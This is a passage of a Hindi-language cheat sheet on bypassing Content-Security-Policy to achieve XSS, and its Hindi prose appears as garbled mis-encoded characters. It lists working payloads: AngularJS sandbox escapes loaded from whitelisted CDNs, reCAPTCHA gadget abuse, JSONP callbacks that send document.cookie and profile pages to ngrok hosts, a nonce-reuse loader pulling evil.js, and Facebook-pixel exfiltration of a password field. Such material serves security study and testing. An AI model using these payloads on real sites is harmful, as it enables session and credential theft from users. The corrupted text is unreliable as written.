рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрднрд╛рд╡рд┐рдд рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдорд╛рдиреНрдп рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдЖрдкрдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрд░рдХрд╛рд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рднрд▓реЗ рд╣реА рдЖрдк рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХреА рдЧрдИ рдПрдХреНрд╕рдЯреЗрдВрд╢рди (рдЬреИрд╕реЗ: script.png) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ JS рдХреЛрдб рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХреЗрдВ, рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рд╕рд░реНрд╡рд░ рдЬреИрд╕реЗ рдЕрдкрд╛рдЪреЗ рд╕рд░реНрд╡рд░ рдлрд╛рдЗрд▓ рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ MIME рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬреИрд╕реЗ Chrome Javascript рдХреЛрдб рдХреЛ рдХреБрдЫ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдПрдХ рдЫрд╡рд┐ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред "рдЙрдореНрдореАрдж рд╣реИ", рд╡рд╣рд╛рдБ рдЧрд▓рддрд┐рдпрд╛рдБ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ CTF рд╕реЗ рдореИрдВрдиреЗ рд╕реАрдЦрд╛ рдХрд┐ Apache рдХреЛ _.wave**_ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЗрд╕реЗ MIME рдкреНрд░рдХрд╛рд░ рдЬреИрд╕реЗ audio/* рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рдпрд╣рд╛рдВ рд╕реЗ, рдпрджрд┐ рдЖрдк рдПрдХ XSS рдФрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдкрд╛рддреЗ рд╣реИрдВ, рдФрд░ рдЖрдк рдПрдХ рдЧрд▓рдд рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛, рдпрджрд┐ рд╕рд░реНрд╡рд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╣реА рдкреНрд░рд╛рд░реВрдк рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдПрдХ рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдмрдирд╛рдПрдВ (рдХреБрдЫ рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ)ред

Form-action

рдпрджрд┐ JS рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдлреЙрд░реНрдо рдПрдХреНрд╢рди рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╢рд╛рдпрдж рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдмрдВрдзрдХреЛрдВ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рднрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред рдЖрдк рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ default-src рдлреЙрд░реНрдо рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

Third Party Endpoints + ('unsafe-eval')

warning

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рд╕реЗ рдХреБрдЫ рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП unsafe-eval рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

рдПрдХ рдХрдордЬреЛрд░ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ angular рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдордирдорд╛рдирд╛ JS рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div> "><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div> "><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script> <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)> With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/ <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script> <iframe/ng-app/ng-csp/srcdoc=" <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js> </script> <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>" >

Angular + рдПрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Payloads рдЬреЛ window рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддреА рд╣реИрдВ (check out this post):

note

рдпрд╣ рдкреЛрд╕реНрдЯ рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ рдЖрдк cdn.cloudflare.com (рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЕрдиреБрдордд JS рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА) рд╕реЗ рд╕рднреА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рддреНрдпреЗрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ рдЬреЛрдбрд╝реА рдЧрдИ рд╕рднреА рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреМрди рд╕реА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рд╕реЗ window рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВред

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script> <div ng-app ng-csp> {{$on.curry.call().alert(1)}} {{[].empty.call().alert([].empty.call().document.domain)}} {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }} </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script> <div ng-app ng-csp> {{$on.curry.call().alert('xss')}} </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script> <div ng-app ng-csp> {{[].erase.call().alert('xss')}} </div>

Angular XSS рдПрдХ рдХреНрд▓рд╛рд╕ рдирд╛рдо рд╕реЗ:

html
<div ng-app> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> </div>

Google reCAPTCHA JS рдХреЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

According to this CTF writeup you can abuse https://www.google.com/recaptcha/ inside a CSP to execute arbitrary JS code bypassing the CSP:

html
<div ng-controller="CarouselController as c" ng-init="c.init()" > &#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]] <div carousel><div slides></div></div> <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

рдЕрдзрд┐рдХ payloads рдЗрд╕ рд▓реЗрдЦ рд╕реЗ:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> <!-- Trigger alert --> <img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" /> <!-- Reuse nonce --> <img src="x" ng-on-error=' doc=$event.target.ownerDocument; a=doc.defaultView.top.document.querySelector("[nonce]"); b=doc.createElement("script"); b.src="//example.com/evil.js"; b.nonce=a.nonce; doc.body.appendChild(b)' />

www.google.com рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд URL example.com рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ (from here):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Google Apps Script рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ script.google.com рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреГрд╖реНрда рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕реЗ рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Third Party Endpoints + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдп рдЬрд╣рд╛рдБ script-src рдХреЛ self рдФрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, JSONP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред JSONP рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЙрд▓рдмреИрдХ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ XSS рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert; <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЗ CSP рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ JSONP рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред

рдпрджрд┐ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рдореЗрдВ рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реИ, рддреЛ рд╡рд╣реА рднреЗрджреНрдпрддрд╛ рдЙрддреНрдкрдиреНрди рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИ, рддреЛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реЛрддреЗ рд╣реИрдВред

рдерд░реНрдб рдкрд╛рд░реНрдЯреА рджреБрд░реБрдкрдпреЛрдЧ

рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╣реИ, рдХрдИ рдерд░реНрдб рдкрд╛рд░реНрдЯреА рдбреЛрдореЗрди рд╣реИрдВ, рдЬреЛ CSP рдореЗрдВ рдХрд╣реАрдВ рди рдХрд╣реАрдВ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╣реИрдВ:

EntityAllowed DomainCapabilities
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рд▓рдХреНрд╖реНрдп рдХреЗ CSP рдореЗрдВ рдХрд┐рд╕реА рднреА рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдбреЛрдореЗрди рдХреЛ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЖрдк рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╕реЗрд╡рд╛ рдкрд░ рдкрдВрдЬреАрдХрд░рдг рдХрд░рдХреЗ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░, рдпрд╛ рддреЛ рдЙрд╕ рд╕реЗрд╡рд╛ рдкрд░ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд CSP рдкрд╛рддреЗ рд╣реИрдВ:

Content-Security-PolicyтАЛ: default-src 'selfтАЩ www.facebook.com;тАЛ

or

Content-Security-PolicyтАЛ: connect-src www.facebook.com;тАЛ

рдЖрдкрдХреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ рд╣рдореЗрд╢рд╛ Google Analytics/Google Tag Manager рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдк рдЗрди рд╕рд╛рдорд╛рдиреНрдп рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реИрдВ:

  1. рдпрд╣рд╛рдБ рдПрдХ Facebook Developer рдЦрд╛рддрд╛ рдмрдирд╛рдПрдВред
  2. рдПрдХ рдирдпрд╛ "Facebook Login" рдРрдк рдмрдирд╛рдПрдВ рдФрд░ "Website" рдЪреБрдиреЗрдВред
  3. "Settings -> Basic" рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЕрдкрдирд╛ "App ID" рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред
  4. рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░, рдЬрд┐рд╕рд╕реЗ рдЖрдк рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЖрдк "customEvent" рдФрд░ рдбреЗрдЯрд╛ рдкреЗрд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Facebook SDK рдЧреИрдЬреЗрдЯ "fbq" рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
  5. рдЕрдкрдиреЗ рдРрдк рдХреЗ "Event Manager" рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЖрдкрдиреЗ рдЬреЛ рдРрдк рдмрдирд╛рдпрд╛ рд╣реИ рдЙрд╕реЗ рдЪреБрдиреЗрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╡реЗрдВрдЯ рдореИрдиреЗрдЬрд░ рдПрдХ URL рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рд╣реИ: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)ред
  6. "Test Events" рдЯреИрдм рдЪреБрдиреЗрдВ рддрд╛рдХрд┐ "рдЖрдкрдХреА" рд╡реЗрдмрд╕рд╛рдЗрдЯ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЬрд╛ рд░рд╣реЗ рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗред

рдлрд┐рд░, рдкреАрдбрд╝рд┐рдд рдкрдХреНрд╖ рдкрд░, рдЖрдк Facebook рдЯреНрд░реИрдХрд┐рдВрдЧ рдкрд┐рдХреНрд╕реЗрд▓ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ Facebook рдбреЗрд╡рд▓рдкрд░ рдЦрд╛рддрд╛ рдРрдк-рдЖрдИрдбреА рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдПрдХ рдХрд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:

JavaScript
fbq('init', '1279785999289471');тАЛ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{тАЛ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"тАЛ });

рдЬреИрд╕реЗ рдХрд┐ рдкрд┐рдЫрд▓реЗ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдиреНрдп рд╕рд╛рдд рддреГрддреАрдп-рдкрдХреНрд╖ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдХрдИ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВред рдЕрдиреНрдп рддреГрддреАрдп-рдкрдХреНрд╖ рджреБрд░реБрдкрдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рдХреЗ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХреЛ рджреЗрдЦреЗрдВред

Bypass via RPO (Relative Path Overwrite)

рдкрде рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрд░реЛрдХреНрдд рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рдФрд░ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕реЗ Relative Path Overwrite (RPO) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдХреБрдЫ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ CSP рдкрде https://example.com/scripts/react/ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЕрдВрддрддрдГ https://example.com/scripts/angular/angular.js рд▓реЛрдб рдХрд░реЗрдЧрд╛ред

рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП, рдЖрдк https://example.com/scripts/react/ рдХреЗ рддрд╣рдд рд╕реНрдерд┐рдд ..%2fangular%2fangular.js рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ CSP рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред

тИС, рд╡реЗ рдЗрд╕реЗ рдбрд┐рдХреЛрдб рдХрд░реЗрдВрдЧреЗ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ https://example.com/scripts/react/../angular/angular.js рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВрдЧреЗ, рдЬреЛ https://example.com/scripts/angular/angular.js рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ URL рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдЗрд╕ рдЕрд╕рдВрдЧрддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░, рдкрде рдирд┐рдпрдореЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ %2f рдХреЛ / рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рдП, рдЬрд┐рд╕рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдирд┐рд░рдВрддрд░рддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗ рдФрд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред

рдСрдирд▓рд╛рдЗрди рдЙрджрд╛рд╣рд░рдг: https://jsbin.com/werevijewa/edit?html,output

Iframes JS рдирд┐рд╖реНрдкрд╛рджрди

Iframes in XSS, CSP and SOP

рдЧрд╛рдпрдм base-uri

рдпрджрд┐ base-uri рдирд┐рд░реНрджреЗрд╢ рдЧрд╛рдпрдм рд╣реИ рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ dangling markup injection рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

